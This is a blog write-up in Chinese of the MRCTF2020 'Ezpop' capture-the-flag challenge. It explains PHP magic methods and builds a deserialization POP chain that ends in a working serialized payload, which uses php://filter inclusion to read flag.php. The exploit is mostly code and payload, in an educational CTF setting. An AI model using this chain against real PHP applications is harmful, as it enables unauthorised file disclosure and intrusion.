• [MRCTF2020]Ezpop(详解)


    [MRCTF2020]Ezpop

    
    //flag is in flag.php
    //WTF IS THIS?
    //Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
    //And Crack It!
    class Modifier {
        protected  $var;
        public function append($value){
            include($value);
        }
        public function __invoke(){
            $this->append($this->var);
        }
    }
    
    class Show{
        public $source;
        public $str;
        public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."
    "
    ; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ @unserialize($_GET['pop']); } else{ $a=new Show; highlight_file(__FILE__); }
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    php代码审计
    知识点:
    1.__invoke()
    当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
    eg:

    
    class Person
    {
        public $sex;
        public $name;
        public $age;
        public function __construct($name="",  $age=25, $sex='男')
        {
            $this->name = $name;
            $this->age  = $age;
            $this->sex  = $sex;
        }
        public function __invoke() {
            echo '这可是一个对象哦';
        }
    }
    $person = new Person('小明'); // 初始赋值
    $person();
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    输出:这可是一个对象哦
    2.__toString()
    作用:
    __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。
    eg:

    
    class Person
    {
    public $sex;
    public $name;
    public $age;
    public function __construct($name="", $age=25, $sex='男')
    {
    $this->name = $name;
    $this->age = $age;
    $this->sex = $sex;
    }
    public function __toString()
    {
    return 'go go go';
    }
    }
    $person = new Person('小明'); // 初始赋值
    echo $person;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    结果:go go go
    3. __get()
    当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
    eg:

    class Person
    {
        private $name;
        ...
    }
    $person3 = new Person();
    echo $person3->$name;//这个时候__get()函数自动调用,然后输出$name中的值
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    解题:
    题目对pop参数进行反序列化操作,那么需要构造序列化后的pop参数

    当pop参数为Show类时,反序列化时会先调用__wakeup()函数,进行过滤

    public function __wakeup(){
            if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
                echo "hacker";
                $this->source = "index.php";
            }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    此时pop为show类的一个对象,包含2个参数:source和str,由于构造函数__construct有echo $this->source,要触发__toString()函数,则可以将source参数作为一个类的对象

    public function __construct($file='index.php'){
            $this->source = $file;
            echo 'Welcome to '.$this->source."
    "
    ; }
    • 1
    • 2
    • 3
    • 4
    public function __toString(){
            return $this->str->source;
        }
    
    • 1
    • 2
    • 3

    将pop对象的参数source作为Show类的对象(此时source对象也有两个参数:source和str),则会执行__toString()函数,return source对象的str参数的source,此时str如果是Test类的一个对象,则没有source参数,执行__toString()函数则会找不到source参数,就会调用Test类对象str的__get()函数

    public function __get($key){
            $function = $this->p;
            return $function();
        }
    
    • 1
    • 2
    • 3
    • 4

    __get()函数调用p参数对应的函数 注意:$function()
    如果$function是个对象,那么则会调用__invoke()函数

    public function __invoke(){
            $this->append($this->var);
        }
    
    • 1
    • 2
    • 3

    所以可以将参数p设置为Modifier类的对象,从而执行__invoke()函数,进而执行append函数

    public function append($value){
            include($value);
        }
    
    • 1
    • 2
    • 3

    所以可以将var参数设置为php://filter/read=convert.base64-encode/resource=flag.php用来读取flag

    整体流程:
    在这里插入图片描述

    构造payload:

    
    class Modifier {
    	protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
     
    } 
    class Test{
        public $p;
    	
    } 
    class Show{
        public $source;
        public $str;
        
    } 
    $pop = new Show();
    $pop->source = new Show();
    $pop->source->str = new Test();
    $pop->source->str->p = new Modifier();
    echo urlencode(serialize($pop));
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    在这里插入图片描述
    需要urlencode的原因参考了另一位师傅的话:

    最后的序列化结果进行url编码的原因我认为是这样的:如果不进行编码,最后输出的结果是片段的,不是全部的,会有类似截断导致结果异常,所以需要进行url编码

    得到最终payload:

    pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
    
    • 1

    在这里插入图片描述
    在这里插入图片描述

  • 相关阅读:
    python 微信小程序 英语单词小程序代码分享
    React(10)-组件通信(important)
    深刻解析数据库技术的要点以及应对策略 (软件设计师笔记)
    4 条件判断和循环
    Maven的使用
    next.js 集成redux
    Java反射机制详解--Java
    【leetcode】开密码锁
    路由是什么
    供应商管理
  • 原文地址:https://blog.csdn.net/pakho_C/article/details/126057111